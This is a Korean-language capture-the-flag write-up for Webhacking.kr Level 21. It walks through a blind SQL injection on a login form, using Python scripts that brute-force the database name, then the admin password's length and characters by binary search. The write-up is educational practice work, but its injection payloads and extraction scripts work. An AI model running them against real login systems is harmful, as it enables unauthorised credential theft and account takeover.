Webhacking.kr | Level 21
Webhacking CTF Problem Solving
본 문제는 webhacking.kr를 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
접속부터 해당 문제는 BLIND SQL INJECTION임을 알려준다.
결국 우리는 해당 기법을 통해 아래 Result 값으로 참인지 거짓인지를 판별하여 ID와 PW를 구해야 할 것으로 보인다.
문제 풀이
참일 수 없는 ID : guest, PW : guest를 넣고 제출하면 결과는 login success인 것을 알 수 있다. ID : admin, PW : admin도 가능하다.(admin 계정 로그인이 주 문제 일 것으로 보인다.)
참일 수 없는 ID : 1, PW : 1를 넣고 제출하면 결과는 login fail인 것을 알 수 있다.
예상되는 SQL 문법으로는
SELECT * FROM users WHERE id = 'id' and pw = 'pw'
이렇게 되기에 and 이후에 값을 주석으로 우회하며 DB의 길이 등 모든 것을 알아보겠습니다.
참일 수 없는 ID : guest' or '1' = '1' #, PW : 1(아무 값)를 넣고 제출하면 결과는 wrong password인 것을 알 수 있다.
이를 통해 올바른 SQL injection을 하면 wrong password가 뜨는 것을 알 수 있다.
- DB 이름 길이 알아내기
# Database Length
i = 0
while True:
# guest' and length(database()) = i#
payload = f'guest\' and length(database()) = {i} -- '
param = {'id' : payload, 'pw' : '1'}
r = requests.get(url, params = param)
if r.text.__contains__('wrong'):
db_length = i
break
i += 1
print(f':::: DB Length :::: {db_length}')
이를 통해서 해당 로그인 관련 DB의 길이가 10인 것을 알 수 있다.
- DB 이름 알아내기
# Database Name
db_name = ''
for i in tqdm(range(1, db_length + 1)):
for ch in tc:
# guest' and j = ascii(substring(db_name(), i, 1))
payload = f'guest\' and ascii(substring(database(), {i}, 1)) = {ord(ch)} -- '
param = {'id' : payload, 'pw' : '1'}
r = requests.get(url, params = param)
if r.text.__contains__('wrong'):
db_name += ch
break
print(f':::: DATABASE NAME :::: {db_name}')
해당 Database의 이름이 webhacking인 것까지 알 수 있었다. 이후 해당 DB의 테이블이 몇개로 이루어져 있는지 알아야 한다.
- 해당 DB의 테이블 이름 길이 알아내기
((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = 'webhacking') = {i})
해당 문법을 통해서 테이블의 개수를 알아보고자 했으나 계속 나오지 않자 홈페이지에서 확인해보니 아래와 같았다.
no hack 문구와 함께 다른 결과를 가져왔다. 따라서, 키워드 별로 입력해보니 SELECT가 필터링되고 있는 것을 알 수 있다.
SELECT가 필터링되고 있는 경우를 찾아보니 많이 복잡한 것으로 확인됐다…
하지만, 우리가 예상하고 있던 쿼리문을 보면 아래와 같다.
SELECT * FROM users WHERE id = 'id' and pw = 'pw'
결국 Column이 id, pw이길 바라면서 바로 칼럼을 이용한 SQLi를 진행해보겠습니다.
- 패스워드 길이
우리는 guest, guest를 통해서 해당 계정의 패스워드가 5자리인 것을 알 수 있으니 해당 쿼리가 제대로 작동하는지 guest로 테스트해보겠습니다.
# Get Password Length
pw_length = 0
for i in tqdm(range(100)):
# guest' and length(pw) = i
payload = f'admin\' and length(pw) = {i} -- '
param = {'id' : payload, 'pw' : '1'}
r = requests.get(url, params = param)
if r.text.__contains__('wrong'):
pw_length = i
break
print(f':::: PASSWORD :::: {pw_length}')
해당 값이 제대로 나오므로 payload의 guest를 admin으로 변경해서 진행해보면 총 36자리인 것을 알 수 있다.
- admin 패스워드
# Admin Password Binary search
pw = ''
for i in tqdm(range(1, pw_length + 1)):
left, right = 32, 127
while True:
mid = int((left + right) / 2)
# admin' and ascii(substring(pw(), i, 1)) > ascii mid value
payload = f'admin\' and ascii(substring(pw, {i}, 1)) > {mid} -- '
param = {'id' : payload, 'pw' : '1'}
r = requests.get(url, params = param)
if r.text.__contains__('wrong'):
left = mid
if (left + 1 == right):
pw += chr(mid + 1)
break
else:
right = mid
print(f':::: ADMIN PASSWORD :::: {pw}')
문제풀이하면서 이진 탐색이 아닌 모든 값 순회를 하였는데 너무 느려서 이진 탐색으로 바꿔서 했는데 행복했다.
이렇게 스크립트를 모두 수행하면 패스워드가 나오고 admin 계정 로그인이 가능하게 된다.